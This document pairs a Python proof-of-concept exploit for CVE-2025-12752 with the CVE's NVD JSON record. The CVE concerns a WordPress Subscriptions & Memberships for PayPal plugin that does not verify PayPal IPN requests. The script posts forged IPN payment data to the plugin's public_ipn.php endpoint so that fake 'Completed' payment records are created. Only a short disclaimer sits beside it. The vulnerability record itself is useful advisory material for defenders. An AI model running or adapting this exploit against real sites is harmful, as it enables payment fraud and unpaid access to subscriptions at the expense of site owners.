CVE-2025-12752

import requests import json # CVE-2025-12752 PoC - Fake PayPal IPN Request # Target: WordPress site with Subscriptions & Memberships for PayPal plugin <= 1.1.7 target_url = "https://vulnerable-site.com/" ipn_endpoint = target_url + "wp-content/plugins/subscriptions-memberships-for-paypal/includes/public_ipn.php" # Fake PayPal IPN data (simulating payment notification) fake_ipn_data = { "mc_gross": "99.00", "protection_eligibility": "Eligible", "payer_id": "ATTACKER123", "payment_date": "2025-11-22T10:00:00Z", "payment_fee": "2.97", "payment_gross": "99.00", "payment_status": "Completed", "txn_id": "FAKE_TRANSACTION_ID_" + str(hash(str(__import__("time").time()))), "txn_type": "web_accept", "item_name": "Premium Subscription", "item_number": "1", "custom": "user_id_1", "invoice": "INV-FAKE-001", "for_secondary": "0", "mc_currency": "USD", "verify_sign": "FAKE_SIGNATURE", "payer_status": "verified", "business": "[email protected]", "receiver_email": "[email protected]", "payer_email": "[email protected]", "first_name": "Attacker", "last_name": "Test", "address_name": "Attacker Test", "address_country": "United States", "address_country_code": "US", "address_zip": "10001", "address_state": "NY", "address_city": "New York", "address_street": "123 Fake Street" } print("[*] Sending fake PayPal IPN request...") print(f"[*] Target: {ipn_endpoint}") print(f"[*] Transaction ID: {fake_ipn_data['txn_id']}") try: response = requests.post(ipn_endpoint, data=fake_ipn_data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Fake payment record created successfully!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("\n[!] Note: This PoC is for educational and authorized testing purposes only.")

{"cve": {"id": "CVE-2025-12752", "sourceIdentifier": "[email protected]", "published": "2025-11-22T08:15:42.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Subscriptions & Memberships for PayPal plugin for WordPress is vulnerable to fake payment creation in all versions up to, and including, 1.1.7. This is due to the plugin not properly verifying the authenticity of an IPN request. This makes it possible for unauthenticated attackers to create fake payment entries that have not actually occurred."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/subscriptions-memberships-for-paypal/trunk/includes/public_ipn.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3397608%40subscriptions-memberships-for-paypal&new=3397608%40subscriptions-memberships-for-paypal&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f706b78-2d67-442c-b7a0-7d7a0fd24b2d?source=cve", "source": "[email protected]"}]}}